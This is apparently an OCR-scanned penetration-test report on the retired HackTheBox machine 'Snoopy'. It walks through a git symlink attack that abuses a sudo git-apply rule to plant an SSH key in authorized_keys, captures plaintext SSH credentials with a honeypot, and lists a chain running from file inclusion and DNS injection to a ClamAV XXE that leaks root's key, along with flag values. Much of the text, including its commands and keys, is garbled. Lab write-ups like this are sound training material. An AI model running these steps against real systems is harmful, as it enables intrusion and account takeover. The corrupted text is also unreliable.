(sbrown) PASSWD: fusr/bin/git “apply -v [a-zA-Z0-9.]+$%
COTOWMgsnoopy -3 1@ —— =
uid=1000(cbrown) gid=1000(cbrown) groups=1000(cbrown) 1002(devops)|
cbrowngsnoopy:~$ || .

An SSH keypair was generated and a git repository initialised with a symlink pointing at /home/
sbrown/.ssh:
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r——[jae@-Archwarden]—[~IHTB_Boxesfretiredfsnoopy}

% ssh-keygen -f cbrown

Generating public/private ed25519 key pair.

Enter passphrase for "cbrown”™ (empty for no passphrase):
Enter same passphrase again:

Your identification has been saved in cbrown

Your public key has been saved in cbrown.pub

The key fingerprint is:
SHAZ56:eTTjKEJJeR9Fgf10S7+qU7C3wRxKz0tf3H3gBu+IPfo joe@Archwarden
The key's randomart image is:

+—[ED25519 256]—+

| e T |

| SR T |
| o. . .vo o o |
| ey ST e
| .5 + 0.0+l
| B T
| +o% ol
| . *o0 |
| .=oE+o|
+ [SHAZ256] +

— 1 joe® Archwarden)-[~/HTB_Boxes/retired/snoopy]
LS cat Ghmn nuh

ssh-ed25519 AAAAC3NzaCllZDIINTESAAAAIB3SmKUDBYtdCGVWGISay91k fAANrDWKEgSGiH741iF/x joe@Archwarden

cbrowngsnoopy: /dev/shm/git-exploit$ cd /dev/shm
cbrowngsnoopy: /dev/shm$ mkdir rce
cbrowngsnoopy: /dev/shm$ chown :devops rce
cbrowngsnoopy: /dev/shm$ cd rce

cbrowngsnoopy: /dev/shm/rce$ git init

Initialized empty Git repository in /dev/shm/rce/.git/
cbrowngsnoopy: /dev/shm/rce$ 1ln -5 /home/sbrown/.ssh symlink
cbrowngsnoopy: /dev/shm/rce$ git add symlink

cbrowngsnoopy: /dev/shm/rce$ git commit -m "add symlink”

[master (root-commit) @158dd4] add symlink

Committer: Charlie Brown <cbrown@snoopy.htb>

Your name and email address were configured automatically based
on your username and hostname. Please check that they are accurate.
You can suppress this message by setting them explicitly:

git config —global user.name "Your Name"®
git config —global user.email yougexample.com

After doing this, you may fix the identity used for this commit with:
git commit —amend —reset-author

1 file changed, 1 insertion(+)
create mode 120080 symlink

A malicious patch was crafted to rename the symlink (triggering the symlink follow) and write the
attacker's public key as authorized_keys in the resolved directory:
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EI’. joe® Archwarden)-[~/HTB_Boxes/retired/snoopy]
S cat >patch <—EOF

diff --git a/symlink b/renamed-symlink

similarity index 100%

rename from symlink

rename to renamed-symlink

diff —git /fdev/null b/renamed-symlink/authorized_keys

new file mode 108644

index QAQ00Q0Q..039727e

— fdev/null

+++ b/renamed-symlink/authorized_keys

am -8,8 +1,1 aa

+55h-rsa

IAAAAC3Hza£1lZDIlHTESAAAAIPGSESdIumUPKuPlBu+9JDwaaUVnFVYDEfIL?#xAuCF jneﬁhrchwardenl

EOF

Applying the patch as sbrown via the sudo rule wrote the public key into place. SSH authenticated with
the generated key:

[:—{joeﬁ?ArchwardenJ—i"IHTB_Boxes/retiredlsnoopy]
% ssh -i chrown sbrown@snoopy.htb
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.8-71-generic x86_64)

+ Documentation: https://help.ubuntu.com
+ Management: https://landscape.canonical.com
+ Support: https: //ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the "unminimize’' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-1ts. Check your Internet connection or proxy settings

sbrowngsnoopy:~$ whoami
ﬁﬁﬁi -

shrowng@snoopy:~$ 1s
progname.dmg scanfiles user.txt

|h84311852?2943525935F?4433h81ﬂ1f

sbrowngsnoopy:~% N
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6. Server Provisioning Bot Presents Plaintext SSH
Credentials to Attacker-Controlled Host - Medium

CWE CWE-522 - Insufficiently Protected Credentials
CVSS 3.1 6.5 / CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:N/A:N

The Mattermost server provisioning feature allows an authenticated user to
submit a provisioning request with an arbitrary IP address and port. The
provisioning bot then SSHes to the specified host and authenticates using plaintext
password credentials for without verifying the server's identity. An attacker
who can submit a provisioning request can point it at an SSH honeypot to capture
the credentials in plaintext.

Plaintext credential capture for the local account (SIS ErEUSEIIN).

Impact providing SSH access to the server and enabling the subsequent git CVE-based

Root Cause

lateral movement to (3eanD-

Affected Mattermost server provisioning channel — bot connects to arbitrary IP/port with
Component plaintext credentials

Replace password-based SSH authentication in the provisioning bot with key-based
authentication. Enable strict host key checking so the bot refuses to connect to any
server that does not present the expected host key. This prevents credential

Remediation capture even if an attacker controls the target IP. If the provisioning flow requires
sending credentials to a new server, use a key provisioning approach that delivers
a key over an authenticated channel rather than presenting a reusable password
to an unverified host.

References https://github.com/jaksi/sshesame

Finding Evidence

The server provisioning channel was located via Mattermost channel search:
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Find Channels

Type to find a channel. Use UP/DOWN to browse, ENTER to s , ESC to dismiss

A provisioning request was submitted with the attacker's IP and port 2222:
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Server provisioning request

Submit a request for fc er provision. An IT staff member will be with you

shartly

Email: *

sbrowi

Department: *

Engineering

Operating System: *

The sshesame SSH honeypot was listening on port 2222:

—1{ jos 3 |-[~/HTB_Boxes/retired/snoopy/sshesame]

—% sudo ./sshesame -confiz sshesame.yaml

INFO 2026/06/20 20:44:25 No host keys configured, using keys at "/root/.local/share/sshesame”

INFO 2826/06/20 20:44:25 Host key "/root/.local/share/sshesame/host_rsa_key" not found, generating it
INFO 2026/06/20 20:44:25 Host key "/root/.local/share/sshesame/host_ecdsa_key” not found, generating it
INFO 2026/06/20 20:44:25 Host key "/root/.local/share/sshesame/host_ed25519 key” not found, generating it
INFO 2026/86/20 20:44:25 Listening on [::]:2222

When the bot connected, sshesame logged the authentication attempt and captured cbrown's
credentials in plaintext:
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E[ joe® Archwarden)-[~/HTB_Boxes/retired/snoopy/sshesame]
$ sudo ,/sshesame -confic sshesame.yaml
INFO 2026/06/20 20:44:25 No host keys configured, using keys at "/root/.local/share/sshesame”
INFO 2026/06/20 20:44:25 Host key "/root/.local/share/sshesame/host_rsa_key" not found, generating it
INFO 2026/06/20 20:44:25 Host key "/root/.local/share/sshesame/host_ecdsa_key" not found, generating it
INFO 2026/06/2@0 20:44:25 Host key "/root/.local/share/sshesame/host_ed25519_key" not found, generating it
INFO 2026/06/20 20:44:25 Listening on [::]1:2222
2026/06/20 20:44:56 [10.129.229.5:3973@] authentication for user with password
2026/06/20 20:44:56 [10.129.229.5:39730] connection with client version "SSH-2.@-paramiko
2026/06/20 20:44:56 [10.129.229.5:39730]1 [channel @] session reguested
2026/06/20 20:44:56 [1@.129.229.5:39730] [channel @] command "ls -la” requested
5
5

"sn@@pedcridential

2026/06/20 20:44:56 [10.129.229.5:39730] [channel @] closed
2026/06/20 20:44:56 [10.129.229.5:39730] connection closed
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A Appendix

A.1 Finding Severities

Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is
based off of an assessment of the priority with which each finding should be viewed and the potential
impact each has on the confidentiality, integrity, and availability of HTB's data.

Rating CVSS Score Range
Critical 9.0-10.0
High 7.0-8.9

Medium 4.0-6.9
Low 0.1 -3.9
Info 0.0
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IP Address Notes

10.129.229.5 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
10.129.229.5 ISC BIND 9.18.12-Oubuntu0.22.04.1
10.129.229.5 nginx 1.18.0 (Ubuntu)
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A.3 Subdomain Discovery

URL Description Discovery Method

SnoopySec corporate site — file download

snoopy.htb endpoint

/etc/hosts from box IP
Mattermost messaging platform — password

mm.snoopy.htb
24 reset

Vhost fuzzing

Site banner + DNS

mail.snoopy.htb Mail server (offline) — injected to attacker IP AXER

mattermost.snoopy.ht
b

postgres.snoopy.htb PostgreSQL (internal) DNS AXFR

Internal Mattermost alias DNS AXFR

provisions.snoopy.htb = Provisioning service (internal) DNS AXFR
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A.4 Exploited Hosts

Host Scope Method Notes

sbrown
Mattermost
session

snoopy.htb Extern @ Path traversal — RNDC key — DNS injection —
(10.129.229.5) al SMTP intercept — Mattermost access

snoopy.htb Extern

(10.129.229.5) al SSH provisioning honeypot — cbrown credentials SSH as cbrown

snoopy.htb Intern SSH as sbrown;

(10.129.229.5) N CVE-2023-22490/23946 git symlink attack

snoopy.htb Intern  CVE-2023-20052 ClamAV DMG XXE via sudo SSH as root; root
(10.129.229.5) al clamscan flag

user flag
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A.5 Compromised Users

Username Type Method Notes

Local Mattermost password reset via hijacked mail Mattermost platform
user server access

sbrown

cbrown Local SSH credentials captured by sshesame honeypot SSH access; git apply

user from provisioning bot sudo rule

Local CVE-2023-22490/23946 git apply symlink attack
user writing authorized_keys

CVE-2023-20052 ClamAV DMG XXE leaking / Full system access;
root/.ssh/id_rsa root flag

sbrown SSH access; user flag

root Root
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A.6 Changes/Host Cleanup

Host Scope Change / Cleanup Needed

snoopy.h
tb

snoopy.h  /home/sbrown/.ssh/ Remove attacker public key written via git symlink
th authorized_keys attack

DNS zone Remove injected mail.snoopy.htb A record

snoopy.h
tb

snoopy.h

/home/sbrown/scanfiles/ Remove dark2.dmg exploit file

Remove git repository and patch file created during
tb lateral movement

/dev/shm/rce
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A.7 Flags Discovered

Flag

. Method Used
Location

Flag Value

b8401185272e40 /home/ LFI — RNDC key — DNS inject — SMTP —
026ea0f7440ab8  sbrown/ Mattermost — honeypot — cbrown —

241f user.txt CVE-2023-22490/23946 — sbrown

c89045599f7eb7
ddOcaba7f6b85a  /root/root.txt
dc4c

CVE-2023-20052 ClamAV XXE — root SSH key
— SSH as root
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End of Report
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